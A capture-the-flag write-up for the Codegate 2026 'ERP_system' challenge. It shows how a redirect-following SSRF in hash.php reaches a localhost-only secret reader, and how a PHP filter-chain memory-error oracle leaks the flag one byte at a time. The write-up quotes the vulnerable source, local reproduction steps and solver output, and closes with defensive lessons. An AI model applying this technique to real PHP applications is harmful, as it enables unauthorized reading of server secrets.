Codegate 2026 — ERP_system Writeup
A PHP stream filter that hashes whatever it reads turns into an oracle: chain an SSRF in hash.php through a public redirector to a localhost-only secret reader, then recover the flag one byte at a time from a 500-vs-200 side channel.
Codegate 2026 — ERP_system
An ERP portal, a dashboard that lists employees, and a small "hash" utility. The flag does not live in the database — it is split one byte per file under /secret. Reaching that directory needs three things to line up: a request that appears to come from 127.0.0.1, a mandatory inner filter, and a way to observe a single byte you are never allowed to read in bulk. A homemade hash.sha256 stream filter supplies the last one, turning a hash utility into a blind oracle.
Scope: local reproduction. The challenge source is public in the CTF archive; nothing external was touched.
1. The three pieces
The attachment ships three files that only matter together:
app/src/hash.php— an SSRF plus an attacker-controlled outer PHP filter chain.app/src/secret.php— reads the real secret, but only from127.0.0.1.app/src/filters.php— registers the custom stream filters the app relies on (hash.sha256,string.reverse, …).
The chain is: log in, point hash.php at a public URL that redirects back to 127.0.0.1/secret.php, and use the outer filter chain in hash.php as a PFCOE-style error oracle to leak the secret one byte at a time.
2. Source review
hash.php fetches a user-controlled URL and pipes the body through a user-controlled filter chain. It validates the scheme and the resolved IP, but that validation applies only to the first host:
// app/src/hash.php
$filter = $_GET['filter'] ?? '';
$resource = $_GET['resource'] ?? '';
if($filter == '' || $resource == '') {
die("Usage: ?filter=filter&resource=resource");
}
if (!preg_match('/^[a-zA-Z0-9.|_-]+$/', $filter)) {
die("Error: Invalid characters or syntax found.");
}
$parsed = parse_url($resource);
// ... scheme must be http, host required ...
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
die("Error: Access to local/private network is prohibited.");
}
$target = "php://filter/read=" . $filter . "|hash.sha256" . "/resource=" . $resource;
$content = file_get_contents($target);
echo $content;Two facts matter. First, file_get_contents() follows redirects, so an initial public http:// host that returns a 302 to 127.0.0.1 passes the IP check and still lands on localhost. Second, our $filter is prepended in a php://filter read chain and always terminated by |hash.sha256, the app's own filter.
secret.php is the reader. It refuses anything that is not from 127.0.0.1, requires a filter parameter, and prints a fixed-format line:
// app/src/secret.php
$ip = $_SERVER['REMOTE_ADDR'];
if($ip != '127.0.0.1') {
die("Error: You are not authorized to access this page!");
}
if (isset($_GET['index'])) {
$index = (int)$_GET['index'];
if (!preg_match('/^[a-zA-Z0-9.|_-]+$/', $filter)) {
die("Error: Invalid characters or syntax found.");
}
$target = "php://filter/read=" . $filter . "/resource=" . "/secret/secret_" . $index;
$content = file_get_contents($target);
$salt = bin2hex(random_bytes(16));
echo "Secret: " . $content . "/" . $index . "/" . $salt;
}Each /secret/secret_<index> file holds exactly one byte of the flag. The response is Secret: <char>/<index>/<random-salt>.
filters.php is what makes the oracle possible — it registers hash.sha256 (and hash.md5, string.reverse, utils.masking, string.strip_tags) as real stream filters:
stream_filter_register("hash.sha256", "Sha256HashingFilter");
stream_filter_register("string.reverse", "ReverseFilter");So every hash.php response is not the fetched body but the SHA-256 of the fetched body. The body itself is never shown.
3. The chain
-
Log in. The archive's
init.sqlseeds accounts such asmkim / erp123. -
SSRF past the IP check. Give
hash.phpa public URL that 302s tohttp://127.0.0.1/secret.php?index=N&filter=string.reverse. The first hop is public (accepted); the redirect's second hop hits localhost, sosecret.phpseesREMOTE_ADDR = 127.0.0.1. (string.reverseis a valid, harmless inner filter — each secret file is one byte, so reversing leaves it unchanged.) -
A stable byte. The response is
Secret: X/index/<salt>. The salt is random on every request, so the whole body is not stable. The stable byte is the secret character at offset 8:S e c r e t : _ X 0 1 2 3 4 5 6 7 8 -
Turn the filter into an oracle.
hash.phplets us put an arbitrary chain before|hash.sha256. A PFCOE-style chain base64-encodes the body, shifts a window into place, and around a chosen byte either completes cleanly (200) or blows the memory limit (500). Because the response is never printed verbatim,200/500is the only signal — and it is enough to classify one base64 character at a time. -
Recover one byte. Base64-encode the body, recover positions
8..11(four base64 characters = a three-byte decode::, space,X), decode, and takedecoded[2]— the secret character. -
Repeat. Walk
index = 0,1,2,…until the recovered character is/. That/is whatsecret.phpprints whenindexruns past the last file:file_get_contents()returnsfalse, so the body collapses toSecret: /<index>/<salt>and offset 8 is a slash. The bytes before it are the flag.
The oracle logic is adapted from Synacktiv's php_filter_chains_oracle_exploit. The published solution for this challenge uses a leading convert.base64-encode, a get_nth() shifter, dechunk plus repeated convert.iconv.L1.UCS-4 as the blow-up, and string.rot13 / string.tolower / several convert.iconv.* branches to classify each base64 character by triggering or not triggering the error.
4. Local reproduction
I rebuilt the chain offline. A few honest deviations from the live target, all required to run without external services:
- Redirector. Instead of
http://httpbin.org/redirect-to?url=…I used a localredir.phpthat emits the same302. - Public-IP guard.
hash.phpblocks private destinations during its own validation; a public redirector normally satisfies it. Offline there is no public host, so the guard is relaxed in the local copy (clearly marked in the file). The primitive under test —php://filter+hash.sha256as an oracle — is unchanged. - Secret path. The image writes to the absolute
/secret/; locally the reader points at__DIR__ . "/secret/". - Login. The archived
hash.phpis admin-gated (if (!$_SESSION['is_admin']) die(...)) andinit.sqlseeds onlyadminwith a placeholder password (FAKE_PASSWORD). The original public target let a low-privileged account through, so for the local run I seed an admin session. The SSRF and filter behaviour do not change. - Runtime. The oracle needs glibc
iconv. macOSlibiconvreports several chains invalid (for exampleIBM1140,CP930,CSIBM932,CP1390,CP1122are allINVALIDunder the Homebrew build), so I ran the two PHP servers inside a glibc image withmemory_limit=128M:
docker run --rm -d --name erp -p 8099:8099 -p 8100:8100 -v "$PWD":/work:ro php:8.4-cli bash -c '
cp -r /work /tmp/app
php -S 0.0.0.0:8099 -t /tmp/app -d memory_limit=128M -d error_reporting=0 -d display_errors=0 &
php -S 0.0.0.0:8100 -t /tmp/app -d memory_limit=128M -d error_reporting=0 -d display_errors=0 &
wait'Two php -S instances are needed because PHP's built-in server is single-threaded: the redirector chain would deadlock against the same server handling its own redirect.
As a sanity check, the localhost-only reader returns the same prefix but a fresh salt every call:
Secret: c/0/1b8101c81fc6fd679f0d2e702a02d598
Secret: c/0/e1c9c9742a037fe559901658db504229The oracle primitive is exactly 200 vs 500:
filter=[string.rot13...] -> http=200
filter=[convert.base64-encode|dechunk|...] -> http=500Running the solver against the container recovers the flag one byte at a time:
[00] c
[01] o
[02] d
[03] e
[04] g
[05] a
[06] t
[07] e
[08] 2
[09] 0
[10] 2
[11] 6
[12] {
[13] f
[14] a
[15] k
[16] e
[17] _
[18] f
[19] l
[20] a
[21] g
[22] }
[23] /
codegate2026{fake_flag}5. Flag and lessons
codegate2026{fake_flag}This is the flag baked into the provided image (Dockerfile: SECRET="codegate2026{fake_flag}"); the live competition instance used a different value.
Lessons:
- Wrapping untrusted input in a hash does not make it safe. A filter that reads and reports on data is an oracle even when it only emits a fixed-width digest —
200vs500is a side channel. - A redirect-following fetch validates the first hop, not the final one. Checking the initial host's IP while
file_get_contents()follows302s is a classic SSRF bypass. - Localhost-only is not authorization.
REMOTE_ADDR == 127.0.0.1stops a direct hit but is trivially satisfied by the app's own outbound request. - Attack surface lives in custom stream filters. Registering
hash.sha256made every read path an attacker-controllable transform.
What do you think?
React to show your appreciation